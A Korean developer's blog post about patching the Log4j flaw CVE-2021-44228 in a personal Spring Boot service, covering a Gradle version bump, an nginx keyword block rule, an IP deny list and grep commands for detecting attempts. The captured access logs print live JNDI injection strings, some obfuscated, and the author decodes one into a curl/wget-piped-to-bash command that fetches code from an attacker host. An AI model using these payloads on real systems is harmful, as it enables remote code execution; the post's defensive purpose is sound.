Spring boot log4j 취약점 처리 후기 (CVE-2021-44228)

Posted by , December 14, 2021
Spring Boot
Series ofSpring_SpringBoot

요새 시끄러운 log4j2 공격...

thumbnail

요새 Log4J2 취약점 때문에 난리다.
사실 이 이슈가 알려진건 좀 되었다. (물론 일주일 전에 오픈된거로 알고 있긴 하지만...)
보안쪽은 이런 큰 문제가 터지면 바로 대응해야 한다.
조금만 늦게 대응하는 순간 비트코인 마냥 추락하는 거대한 손실을 껴안을 수 있다.
개발쪽은 역시 부지런해야 살아남는듯....

사설이 길었다.
이번 이슈에 대해서는 많은 사람이 적었기에 따로 언급은 안하겠다.
정 궁금하신 분은 이곳 KISA 에서 확인해보기 바란다.

나는 현재 개인적으로 돌리는 서비스가 있는데 Spring boot 기반으로 되어 있다.
저 이슈보자마자 바로 문제가 생기겠구나 싶어서 확인했다.
처리는 금방 했는데 블로그에는 좀 늦게 올리게 되었다.


어떻게 공격이 들어오는가?

일단 불법적으로 들어오는 것들을 조사하는 로그 서버에서 이런 결과가 들어있었다.

img 01 img 02

동작 방식은 사실 대충 알고, 자세하게 동작하는 방식은 popit 게시글을 참고하자.
(여담인데 난 원리까진 모르고 어떻게만 공격해서 들어오는지 까지만 알기에... 공격 기법이나 원리에 대한 설명은 무지해서 적을 수 없다....)

내가 이해한 바로는 log.info 나 log.warn() 등을 통해 로깅을 할 때 메세지에 다음과 같이 적을 때 발생한다.

log.error("Req Access UA : " + req.getHeader("X-Api-Version") );

위는 예시이다.
저런식으로 로그를 남기게 해서 공격자의 코드를 수행할 수 있게 한다는거 같다

jandi:ldap://공격자-ip/http443path

위 사진을 보면 알겠지만 저렇게 ldap 뒤에 공격자의 주소를 넣어서 처리하는 식으로 들어온다.


그래서 어떻게 처리했는가?

뭐 별거 없다.
그냥 log4j 버전업을 했다.
사진을 못찍었는데 나의 경우 spring boot starter 의 logging 이었나 이게 2.11 버전을 쓰고 있었다.

그래서 그냥 버전을 올렸다.
Gradle 을 사용하는데 아래와 같이 한줄 넣어줬다.

...
ext['log4j2.version'] = '2.15.0'

dependencies {
  ....
}
....

위와 같이 한줄 넣고 gradle을 새로 받아오니 log4j의 버전이 2.15로 되었다.
이렇게 대응이 완료되었다.... ㅡ,.ㅡ;;

그리고...이건 공격 대응이 될지 모르겠지만...
nginx 앞단에서 특정 키워드로 접근하는 것을 막는 부분에 다음과 같이 추가해줬다.

...
	~*(j_spring_security_check|wps|cgi|asmx|jndi|dns|securityscan|ldap) 1;
...

이렇게 하면 서비스 접근 전에 nginx에서 컷 시킬수 있지 않을까 싶다. (안될수도?)
근데 이렇게 하니 로그 서버에 저런 비 정상적인 접근은 더 이상 들어오지 않았다.

img 03

단지 위와 같이 무지성으로 대입해서 들어오는 것들이 많을 뿐...

그리고 하단의 참고 항목을 보면 Cisco talos 차단 권고 항목에 ip가 있다.
여기에 등록된 ip 전부 밴 처리 해뒀다.


정리 및 참고 그리고 부록...

정리

근데 개인적인 생각인데 User Agent 를 로깅 안하면 영향은 없지 않을까? (개인적 무지성 판단....)
얼른 대응해서 큰 피해 안나게 조심하자...


참고

래브라도 취약점 점검 도구-한글
LG CNS의 차단 대응 및 안내 -한글
Spring 공식 레퍼런스 대응 -영문
Log4J 악용탐지-영문
Cisco talos 차단 권고-영문


부록 - 악용탐지

위의 참고 중에 악용 탐지 gist 항목을 보면...
/var/log 폴더 및 모든 하위 폴더의 압축되지 않은 파일에서 악용 시도 에 대한 검색을 할 수 있는 grep 명령어를 제공한다.

한번 돌려봤다.

fuck-hack@ip-999-444-999-444:~$ sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
/var/log/nginx/access.log.1:51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
/var/log/nginx/access.log.1:45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo} HTTP/1.1" 200 396 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.1:167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass}"

=====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/nginx/access.log.3.gz:45.155.205.233 - - [11/Dec/2021:03:21:49 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.3.gz:1.116.59.211 - - [11/Dec/2021:19:13:15 +0900] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 162 "-" "curl/7.58.0"
/var/log/nginx/access.log.3.gz:195.251.41.139 - - [11/Dec/2021:21:13:15 +0900] "GET / HTTP/1.1" 200 396 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:02:26:12 +0900] "GET / HTTP/1.1" 200 7417 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 302 0 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET / HTTP/1.1" 200 7418 "https://3.36.159.204/$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:08:26:47 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:09:42:21 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 134 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:45.155.204.20 - - [12/Dec/2021:10:01:33 +0900] "GET /?x=${jndi:ldap://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com/a} HTTP/1.1" 400 800 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:02:36:55 +0900] "POST /?&token=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "POST /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET / HTTP/1.1" 200 7637 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "PUT /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:22:31:20 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:23:27:05 +0900] "GET / HTTP/1.1" 200 7669 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzMuMzYuMTU5LjIwNDo0NDMpfGJhc2g=}"

====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;
51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80" "${jndi:dns://45.83.64.1/securityscan-http80"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo HTTP/1.1" 200 396 "${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo" "${${::-j${::-n${::-d${::-i:${::-l${::-d${::-a${::-p://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo"
167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClas

저기서 base64로 인코딩된 부분을 풀어보니

(curl -s 195.54.160.149:5874/3.36.159.204:80||wget -q -O- 195.54.160.149:5874/3.36.159.204:80)|bash

참고 url 중에 차단 권고에 나온 시도가 많았다.
조기에 발견해서 다행인거 같고...정말 침입시도가 무수했다...
모두 대응 처리를 해뒀다.


부록 - 래브라도

래브라도 에서 log4j 취약점 점검 도구를 제공하고 있다.
그런데 난 사용해도 이상하게 검출이 안되었다;;

사용법은 저기 나와있겠지만...
프로젝트 디렉토리를 난 해당 프로젝트의 root 디렉토리로 잡아보고, jar 파일만 있는 곳에서도 해봤는데 검출 결과가 0이었다.
그 때 2.11 사용했었는데...
아마 user agent를 다른 방식으로 기록해서 그런가...
무튼 정 찝찝하면 한번 돌려보는 것도 좋은 방법일듯...


부록 - IP 처리

LG CNS와 talos 글에 나온 ip를 차단하였다.
난 저 아이피에 class 대역 차단으로 더 막아뒀다.

171.25.193.0/24
185.220.0.0/16

이 두놈이 좀 많았다.

109.237.96.124 1; #log4j attacker
        185.100.87.202 1;
        213.164.204.146 1;
        185.220.101.146 1;
        171.25.193.20 1;
        178.17.171.102 1;
        45.155.205.233 1;
        171.25.193.25 1;
        171.25.193.77 1;
        171.25.193.78 1;
        182.220.100.242 1;
        185.220.101.39 1;
        18.27.197.252 1;
        89.234.182.139 1;
        104.244.79.6 1;
        80.71.158.12 1;
        45.137.155.55 1;
        89.249.63.3 1;
        61.19.25.207 1;
        195.251.41.139 1;
        131.100.148.7 1;
        46.105.95.220 1;
        170.210.45.163 1;
        5.157.38.50 1;
        114.112.161.155 1;
        221.228.87.37 1;
        191.232.38.25 1;
        164.52.53.163 1;
        45.130.229.168 1;
        133.130.120.176 1;
        152.89.239.12 1;
        163.172.157.143 1;
        205.185.115.217 1; #log4 attacker